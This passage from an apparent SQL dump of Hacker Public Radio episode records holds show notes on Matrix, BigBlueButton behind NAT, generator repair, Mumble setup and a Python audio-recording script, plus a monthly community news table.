target=_blank>https://www.google.com/search?channel=fs&client=ubuntu&q=%22kellogs+greatest+beer%22</a></li>\r\n<li>Shameless Zig plug (dedicated to Loris :-): <a href=\"https://ziglang.org\" target=_blank>https://ziglang.org</a></li>\r\n<li>TIOBE index: <a href=\"https://www.tiobe.com/tiobe-index\" target=_blank>https://www.tiobe.com/tiobe-index</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Mainframes, IBM, Hyperscaler secrets, Rust, old men, programming languages',0,0,1),
(3495,'2021-12-24','Podcast Recommendation: The Retroist',92,'Podcast Recommendation: The Retroist number 243 - Die Hard','<p>Retroist Podcast Episode 243 (Die Hard)</p>\r\n<ul>\r\n<li><a href=\"https://retroist.com/retroist-die-hard-podcast\" class=\"uri\">https://retroist.com/retroist-die-hard-podcast<a/></li>\r\n<li><a href=\"https://archive.org/details/retroist-podcast-episode-243-die-hard\" class=\"uri\">https://archive.org/details/retroist-podcast-episode-243-die-hard</a></li>\r\n</ul>\r\n<p>A nostalgic look at the action film Die Hard, released in 1988. Also a look at whether or not Die Hard is a Christmas movie.</p>\r\n<ul>\r\n<li>Comments to this subject are welcome.</li>\r\n<li>Based on the book, Nothing Lasts Forever\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nothing_Lasts_Forever_(Thorp_novel)\" class=\"uri\">https://en.wikipedia.org/wiki/Nothing_Lasts_Forever_(Thorp_novel)</a></li>\r\n<li><a href=\"https://diehard.fandom.com/wiki/Nothing_Lasts_Forever\" class=\"uri\">https://diehard.fandom.com/wiki/Nothing_Lasts_Forever</a></li>\r\n</ul></li>\r\n<li>Bruce Willis was previously known for the TV Series, Moonlighting\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Moonlighting_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Moonlighting_(TV_series)</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,75,0,'CC-BY-SA','retro,retroist,nostalgia,1988,die hard,bruce willis,podcast',0,0,1),
(3494,'2021-12-23','Recent Generator Repairs and Maintenance',1080,'I talk about my Generac 4000XL gasoline-powered generator and what I\'ve done to get it running right','<p>In this episode I talk about some work I\'ve done recently on my Generac 4000xl portable generator. Here are some images to accompany the episode. First a beefcake shot of the unit:</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/01Generac4000xl.jpeg\" /></p>\r\n\r\n\r\n<p>This is the power panel on the generator</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/02PowerPanel.jpeg\" /></p>\r\n\r\n<p>Here\'s the receptacle for the fat cable with a 4-prong plug. This goes right into my main electrical panel.</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/04ReceptableGoingtoBox.jpeg\" /></p>\r\n\r\n<p>Here\'s the interlock switch on my panel, which allows you to plug the generator into your panel safely.</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3494/03Interlock.jpeg\" /></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>James Condon\'s YouTube Channel on small-engine repair (mostly generators) <a href=\"https://www.youtube.com/user/jcondon2007\">https://www.youtube.com/user/jcondon2007</a></li>\r\n	<li>Wikipedia article about <a href=\"https://en.wikipedia.org/wiki/Hydrolock\">hydrolock</a> in engines\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','Engine repair, generators, electricity, emergency preparedness',0,0,1),
(3509,'2022-01-13','Linux Inlaws S01E46: The Matrix Project (Without Neo)',4315,'The Matrix Project Without Neo','<p>In this episode, the Inlaws are hosting Neil Johnson, VP of Engineering at Element. But this is\r\nnot just about this popular Matrix graphical user interface but rather about this federated communication\r\nnetwork dubbed as the next big thing after Mastodon and Discord, soon to take over the world (pretty\r\nmuch like the Inlaws themselves - it\'s gonna get crowded... :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>The Matrix Foundation: <a href=\"https://matrix.org/foundation\" target=_blank>https://matrix.org/foundation</a></li>\r\n<li>Element: <a href=\"https://github.com/vector-im/element-web\" target=_blank>https://github.com/vector-im/element-web</a></li>\r\n<li>Synapse (Matrix reference implementation in Python): <a href=\"https://github.com/matrix-org/synapse\" target=_blank>https://github.com/matrix-org/synapse</a></li>\r\n<li>Dendrite (Matrix implementation in Gloang): <a href=\"https://github.com/matrix-org/dendrite\" target=_blank>https://github.com/matrix-org/dendrite</a></li>\r\n<li>Conduit (Matrix implementation in Rust): <a href=\"https://github.com/timokoesters/conduit\" target=_blank>https://github.com/timokoesters/conduit</a></li>\r\n<li>EU interoperability: <a href=\"https://ec.europa.eu/isa2/sites/default/files/eif_brochure_final.pdf\" target=_blank>https://ec.europa.eu/isa2/sites/default/files/eif_brochure_final.pdf</a></li>\r\n<li>Terry Pratchett: <a href=\"https://en.wikipedia.org/wiki/Terry_Pratchett#Works\" target=_blank>https://en.wikipedia.org/wiki/Terry_Pratchett#Works</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Matrix, Element, federated social network, peer-to-peer communication',0,0,1),
(3496,'2021-12-27','How I record HPR Episodes',1707,'Some python to record short segments of audio.','<p><a href=\"https://gitlab.com/norrist/solocast\">https://gitlab.com/norrist/solocast</a></p>\r\n<h3 id=\"sample-scripttxt\">Sample script.txt</h3>\r\n<pre class=\"txt\"><code>This is a sample script for solocast.\r\nSeparate the segments with a blank line\r\n\r\nBulleted lists are OK, but keep the items together by not skipping a line\r\n- Item 1\r\n- Item 2\r\n\r\n### Markdown Formatting is OK\r\nBut the Formatting gets lost in the script\r\nso you can write show notes in loosely formatted markdown\r\n\r\nDon&#39;t have more than 1 blank line separating segments\r\n</code></pre>\r\n<h3 id=\"solocastpy\">solocast.py</h3>\r\n<pre class=\"python\"><code>#! /usr/bin/env python3\r\n\r\nimport click\r\nimport os\r\nfrom shutil import which\r\n\r\nscript_file = &quot;script.txt&quot;\r\nrecording_directory_name = &quot;Recordings&quot;\r\nrecording_format = &quot;wav&quot;\r\nscript_segments = {}\r\n\r\n\r\ndef test_sox_exists():\r\n    try:\r\n        assert which(&quot;sox&quot;)\r\n    except AssertionError:\r\n        print(&quot;Cant find sox.  Install sox somewhere in your path.&quot;)\r\n        exit(1)\r\n\r\n\r\ndef get_recording_file_name(slug):\r\n    return f&quot;{recording_directory_name}/{slug}.{recording_format}&quot;\r\n\r\n\r\ndef project_prep():\r\n    if not os.path.exists(recording_directory_name):\r\n        os.makedirs(recording_directory_name)\r\n    if not os.path.exists(f&quot;{recording_directory_name}/Archive&quot;):\r\n        os.makedirs(f&quot;{recording_directory_name}/Archive&quot;)\r\n\r\n\r\ndef wait_for_input():\r\n    click.echo(&quot;*&quot; * 40)\r\n    _ = input(&quot;Press ENTER to Continue&quot;)\r\n\r\n\r\ndef add_slug_text(slug, text):\r\n    script_segments[slug] = text\r\n\r\n\r\ndef recording_exists(slug):\r\n    if os.path.isfile(get_recording_file_name(slug)):\r\n        return True\r\n    return False\r\n\r\n\r\ndef noise_profile_missing():\r\n    if os.path.isfile(f&quot;{recording_directory_name}/noise.prof&quot;):\r\n        return False\r\n    return True\r\n\r\n\r\ndef truncate_audio(slug):\r\n    recording = get_recording_file_name(slug)\r\n    new_recording = f&quot;{recording_directory_name}/{slug}-truncated.{recording_format}&quot;\r\n    click.echo(f&quot;truncating {recording}&quot;)\r\n\r\n    SOX_CMD = (\r\n        f&quot;sox -V2 {recording}  {new_recording}   silence -l 1 0.1 .1% -1 1.0 .1%   stat&quot;\r\n    )\r\n    click.echo(SOX_CMD)\r\n    os.system(SOX_CMD)\r\n    os.system(\r\n        f&quot; mv -v {recording} {recording_directory_name}/Archive/{slug}.{recording_format}&quot;\r\n    )\r\n    os.rename(new_recording, recording)\r\n    review_audio(slug)\r\n\r\n\r\ndef play_audio(slug):\r\n    recording = get_recording_file_name(slug)\r\n    click.echo(f&quot;Playing {recording}&quot;)\r\n    os.system(f&quot;play {recording}&quot;)\r\n    review_audio(slug)\r\n\r\n\r\ndef delete_audio(slug):\r\n    recording = get_recording_file_name(slug)\r\n    os.remove(recording)\r\n\r\n\r\ndef review_audio(slug):\r\n    review_menu = [&quot;(p)lay&quot;, &quot;(a)ccept&quot;, &quot;(r)eccord again&quot;, &quot;(t)runcate&quot;]\r\n    click.echo(slug)\r\n    for i in review_menu:\r\n        click.echo(i)\r\n    menu_action = input(&quot;&gt;&gt; &quot;)\r\n    if menu_action == &quot;p&quot;:\r\n        play_audio(slug)\r\n    elif menu_action == &quot;a&quot;:\r\n        exit()\r\n    elif menu_action == &quot;r&quot;:\r\n        delete_audio(slug)\r\n        find_and_record_next()\r\n    elif menu_action == &quot;t&quot;:\r\n        truncate_audio(slug)\r\n    else:\r\n        review_audio(slug)\r\n\r\n\r\ndef record_audio(slug):\r\n    new_recording = get_recording_file_name(slug)\r\n    click.echo(f&quot;Creating {new_recording}&quot;)\r\n    click.echo(&quot;press Enter to start then CRTL-C to quit&quot;)\r\n    wait_for_input()\r\n    os.system(f&quot;rec {new_recording}&quot;)\r\n\r\n\r\ndef record_silent_audio():\r\n    silent_recording = f&quot;{recording_directory_name}/silence.{recording_format}&quot;\r\n    click.echo(&quot;RECORD 5 SECONDS OF SILENCE \\n&quot; * 5)\r\n    click.echo(&quot;press Enter to start&quot;)\r\n    wait_for_input()\r\n    os.system(f&quot;rec {silent_recording} trim 0 5&quot;)\r\n    os.system(\r\n        f&quot;sox {silent_recording} -n noiseprof {recording_directory_name}/noise.prof&quot;\r\n    )\r\n\r\n\r\ndef load_script():\r\n    linetext = &quot;&quot;\r\n    with open(script_file) as script_file_reader:\r\n        for line in script_file_reader.readlines():\r\n\r\n            if not line.strip():\r\n\r\n                slug = linetext[:40].title()\r\n                segment_name = &quot;&quot;.join(filter(str.isalnum, slug))\r\n                add_slug_text(segment_name, linetext)\r\n                linetext = &quot;&quot;\r\n\r\n            else:\r\n                linetext += f&quot;{line}  \\n&quot;\r\n\r\n\r\ndef combine_recordings_for_export():\r\n    recording_list = []\r\n    combined_recording = f&quot;{recording_directory_name}/combined.{recording_format}&quot;\r\n    for slug, text in script_segments.items():\r\n        recording = get_recording_file_name(slug)\r\n        recording_list.append(recording)\r\n    recording_list_string = &quot; &quot;.join(recording_list)\r\n    print(recording_list_string)\r\n    SOX_CMD = f&quot;sox -V3 {recording_list_string}  {combined_recording} noisered {recording_directory_name}/noise.prof 0.21 norm -10&quot;\r\n    click.echo(SOX_CMD)\r\n    os.system(SOX_CMD)\r\n\r\n\r\ndef find_and_record_next():\r\n    for slug, text in script_segments.items():\r\n        if recording_exists(slug):\r\n            continue\r\n        click.clear()\r\n        click.echo(slug)\r\n        click.echo(&quot;*&quot; * 40)\r\n        click.echo(text)\r\n        click.echo(&quot;*&quot; * 40)\r\n        record_audio(slug)\r\n        review_audio(slug)\r\n\r\n\r\n@click.group()\r\ndef cli():\r\n    test_sox_exists()\r\n    pass\r\n\r\n\r\n@cli.command()\r\ndef combine():\r\n    &quot;Combine Segments into single audio file&quot;\r\n    combine_recordings_for_export()\r\n\r\n\r\n@cli.command()\r\ndef record():\r\n    &quot;Record next unrecorded segment&quot;\r\n    if noise_profile_missing():\r\n        record_silent_audio()\r\n    find_and_record_next()\r\n\r\n\r\n@cli.command()\r\ndef silence():\r\n    &quot;Generate noise profile&quot;\r\n    record_silent_audio()\r\n\r\n\r\n\r\n@cli.command()\r\ndef review():\r\n    &quot;Print segments&quot;\r\n\r\n    for slug, text in script_segments.items():\r\n        click.clear()\r\n        click.echo(slug)\r\n        click.echo(&quot;*&quot; * 40)\r\n        click.echo()\r\n        click.echo(text)\r\n        wait_for_input()\r\n\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n    project_prep()\r\n    load_script()\r\n    cli()\r\n</code></pre>\r\n',342,0,0,'CC-BY-SA','python,sox',0,0,1),
(3518,'2022-01-26','Linux Inlaws S01E47: BigBlueButton and NAT',3272,'Our two OAPs discuss running conferencing systems like BigBlueButton behind NAT','<p>In this episode of your favourite FLOSS podcast our two OAPs discuss the challenges of running\r\nconferencing systems like BigBlueButton behind a network address translation\r\n(NAT) configuration, something that the Inlaws have been struggeling (?) with\r\nfor quite some time but now have arrived a solution which might just work :-).\r\nIf you face similar challenges or just want to refresh your knowledge about\r\nintricate network architectures never mind their pitfalls, stay tuned.  All\r\nwill be revealed (hopefully :-). But beware: This show is highly technical and\r\ngeek-only.  Which may come in handy if you\'re not technical but suffer from\r\ninsomnia or similar sleep disorders - this is your show!</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Network Address Translation (NAT): <a href=\"https://en.wikipedia.org/wiki/Network_address_translation\" target=_blank>https://en.wikipedia.org/wiki/Network_address_translation</a></li>\r\n<li>BigBlueButton (BBB): <a href=\"https://github.com/bigbluebutton/bigbluebutton\" target=_blank>https://github.com/bigbluebutton/bigbluebutton</a></li>\r\n<li>TURN server: <a href=\"https://gabrieltanner.org/blog/turn-server\" target=_blank>https://gabrieltanner.org/blog/turn-server</a></li>\r\n<li>STUN and more: <a href=\"https://en.wikipedia.org/wiki/STUN\" target=_blank>https://en.wikipedia.org/wiki/STUN</a></li>\r\n<li>Google TURN servers: <a href=\"https://gist.github.com/sagivo/3a4b2f2c7ac6e1b5267c2f1f59ac6c6b\" target=_blank>https://gist.github.com/sagivo/3a4b2f2c7ac6e1b5267c2f1f59ac6c6b</a></li>\r\n<li>Dehydrated: <a href=\"https://github.com/dehydrated-io/dehydrated\" target=_blank>https://github.com/dehydrated-io/dehydrated</a></li>\r\n<li>WebRTC: <a href=\"https://webrtc.org/getting-started/overview\" target=_blank>https://webrtc.org/getting-started/overview</a></li>\r\n<li>Parallels: <a href=\"https://www.imdb.com/title/tt3479316/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt3479316/?ref_=nv_sr_srsg_0</a></li>\r\n<li>Philip K. Dick\'s Vulcan Hammer: <a href=\"https://en.wikipedia.org/wiki/Vulcan%27s_Hammer\" target=_blank>https://en.wikipedia.org/wiki/Vulcan%27s_Hammer</a></li>\r\n<li>The Ice Road: <a href=\"https://www.imdb.com/title/tt3758814/?ref_=nm_flmg_act_7\" target=_blank>https://www.imdb.com/title/tt3758814/?ref_=nm_flmg_act_7</a></li>\r\n<li>Sorcerer: <a href=\"https://www.imdb.com/title/tt0076740/?ref_=fn_tt_tt_8\" target=_blank>https://www.imdb.com/title/tt0076740/?ref_=fn_tt_tt_8</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','BigBlueButton, Network Address Translation, TURN, STUN, WebRTC, Parallels, Vulcan\'s Hammer, The Ice ',0,0,1),
(3497,'2021-12-28','Jankilators.',1275,'Follow the wail of the janky scissor monster into the muddy flux of headtorch borderlands. ','<p>Three phase alternating current generated from an axial flux alternator.</p>\r\n<p>I did find plans which seem to describe themselves as open. I might get around to posting them at a web site, but that exists much less than other comprehensive banks of searchable information on the internet.</p>\r\n<p>Someone suggested some alternators constructed with as many wooden parts as possible, which makes the whole endeavour more accessible and energy efficient. Thank you HPR new year show, for that.</p>\r\n<p>Wind turbine towers are the difficult part, and obviously dangerous.</p>\r\n<p>Tiny generators are cool to cobble from discarded equipment junk.</p>\r\n<p>A solid axial alternator is easy and robust. They can channel a lot of power if the wires are thick enough. Gears exist.</p>\r\n<p>Pedal, and hang sacks.</p>\r\n',398,0,1,'CC-BY-SA','oscillators,complexity,flux,alternator,3phase,field,trees,sky',0,0,1),
(3502,'2022-01-04','New year Greetings and a short review of my new Juno PC',291,'I just ramble for a few minutes about my new Juno PC','<p>Hi to all HPR listeners this is a short show just to say Hi and a happy New Year to those in HPR land I may not have talked to over the Mumble marathon (and that is most of you). My main news is my new Juno PC which I got just before Christmas and It is a massive upgrade for me from my old Gen 3 i7 PC I was using. In real world tests it is about 5 times faster than my old PC and editing Audio and images is a breeze. I got the Brutus 5000 with a Ryzen 9 5900 CPU 32Gb RAM and a 1TB Nvme SSD. It came pre loaded with Ubuntu 20.04 but I installed Linux Mint 20.2 and after getting the details of the PPA for the Juno Drivers everything is working fine. Ports wise for a tiny PC it is OK but I have added a USB 3 powered Hub with 4 extra ports and in the new year will get one with a few more to help me tidy up the wiring snakes on the desk.</p>\r\n<p>For some reason it no longer sees any bootable USB drives at boot after pressing of the boot menu key so a bit of investigation is needed to get that to work again, but on the whole I am a happy camper.</p>\r\n<p>Well that\'s me for this show short as it was if you want more of my ramblings along with my fellow hosts Moss and Dale pop over to Distrohoppers\' Digest and see what we have been up to, we record a new show about once a month.</p>\r\n<ul>\r\n<li><p><a href=\"https://junocomputers.com/product/brutus-5000/\" class=\"uri\">https://junocomputers.com/product/brutus-5000/</a></p></li>\r\n<li><p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Ubuntu, Linux Mint, Juno computers, Ryzen 5900, New Year Greetings',0,0,1),
(3503,'2022-01-05','Configuring Mumble',906,'In this episode we will show you how to connect to the HPR Community Room on Mumble.','<p>\r\nThe complete shownotes are available in <a href=\"/mumble-howto\">our mumble how-to</a>. \r\n</p>\r\n<p>\r\nWhen using Mumble <strong><em>you should always use a microphone and headset</em></strong> positioned close to your mouth but slightly off to the side.\r\n</p>\r\n<p>\r\nThe <a href=\"https://www.mumble.info/downloads/\">Mumble website offers download and install instructions</a> for different operating systems.\r\n</p>\r\n<p>\r\nOnce you have installed the client then connect to the <a href=\"mumble://chatter.skyehaven.net:64738/Hacker%20Public%20Radio?version=1.2.0\">HPR Room on Mumble</a>.\r\n<p>\r\nThere is a first run wizard that will step you through the process of configuring Mumble the first time. This will open up a series of configuration options.\r\n</p>\r\n<p>\r\nIt is <strong>very important</strong> that you set <strong>Push to Talk (PTT)</strong> and you <strong>Disable Text-To-Speech</strong>, as you will disturb the other people in the room if you select the other methods. It may seem to be working fine to you, but it <em>will</em> result in issues for the others.\r\n</p>\r\n<p>\r\nYou are expected to have a digital certificate when connecting to Mumble servers. An automatically created one is usually fine.\r\n</p>\r\n<p>\r\nOnce you have the Mumble client set up we can now start the process of connecting to the <a href=\"mumble://chatter.skyehaven.net:64738/Hacker%20Public%20Radio?version=1.2.0\">HPR Room on Mumble</a>.\r\n</p>\r\n<p>\r\nIf at any time you need to add the HPR server open mumble and press <strong>Server - Connect</strong>, press <strong>Add New...</strong>and enter the following information for the HPR server:\r\n</p>\r\n<ul>\r\n<li>Address: <strong>chatter.skyehaven.net</strong></li>\r\n<li>Port: 64738</li>\r\n<li>Username: <strong><em>Your Username</em></strong></li>\r\n<li>Label: chatter.skyehaven.net</li>\r\n</ul>\r\n<p>\r\nThink about your username a bit as if you register it on the server you will not be able to change it again.\r\n</p>\r\n<p>\r\nBefore connecting to any room it\'s good etiquette to make sure your audio is working correctly. The room <strong>Audio Test</strong> will allow you to speak and the <strong>OpieTheRepeatherBot</strong> will record your speech and after 10 seconds will play it back for you.\r\n</p>\r\n\r\n',30,0,0,'CC-BY-SA','mumble,hpr mumble, new year show',0,0,1),
(3761,'2023-01-02','HPR Community News for December 2022',2695,'HPR Volunteers talk about shows released and comments posted in December 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3739\" target=\"_blank\">3739</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3739\" target=\"_blank\">Multipactors for the masses.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3740\" target=\"_blank\">3740</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3740\" target=\"_blank\">Batch File Variables; Nested Batch Files</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3741\" target=\"_blank\">3741</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3741\" target=\"_blank\">HPR Community News for November 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3742\" target=\"_blank\">3742</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3742\" target=\"_blank\">Battery</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3743\" target=\"_blank\">3743</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3743\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3744\" target=\"_blank\">3744</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3744\" target=\"_blank\">Advent of code Day 1 - 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3745\" target=\"_blank\">3745</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3745\" target=\"_blank\">Pinecil walkthrough</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3746\" target=\"_blank\">3746</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3746\" target=\"_blank\">Cpuinfo</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3747\" target=\"_blank\">3747</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3747\" target=\"_blank\">Twitter and Dinner with the Humans</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3748\" target=\"_blank\">3748</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3748\" target=\"_blank\">The Squirrels gift to HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3749\" target=\"_blank\">3749</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3749\" target=\"_blank\">Making your own parts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3750\" target=\"_blank\">3750</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3750\" target=\"_blank\">Southern Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751\" target=\"_blank\">3751</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3751\" target=\"_blank\">Using Noisetorch</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3752\" target=\"_blank\">3752</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3752\" target=\"_blank\">It only took me 2 years to record using some \'new\' hardware</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3753\" target=\"_blank\">3753</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3753\" target=\"_blank\">Some thoughts on \"Numeronyms\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754\" target=\"_blank\">3754</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3754\" target=\"_blank\">GOD probably will use a Chromebook</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3755\" target=\"_blank\">3755</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3755\" target=\"_blank\">Synergy over ssh</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3756\" target=\"_blank\">3756</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3756\" target=\"_blank\">Verify yourself on Mastodon with PGP and Keyoxide</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3757\" target=\"_blank\">3757</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3757\" target=\"_blank\">Career changes.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3758\" target=\"_blank\">3758</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3758\" target=\"_blank\">First sysadmin job - war story</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3759\" target=\"_blank\">3759</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3759\" target=\"_blank\">Chatting with dnt.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3760\" target=\"_blank\">3760</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3760\" target=\"_blank\">Bookwyrm</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3737#comments\" target=\"_blank\">hpr3737</a></strong>\n(2022-11-29) \"<em>Review of KOBO Libra H20 e-reader</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3737#1\" target=\"_blank\">Comment 1</a>:\nAaron Cocker on 2022-12-05:\n\"Kobo 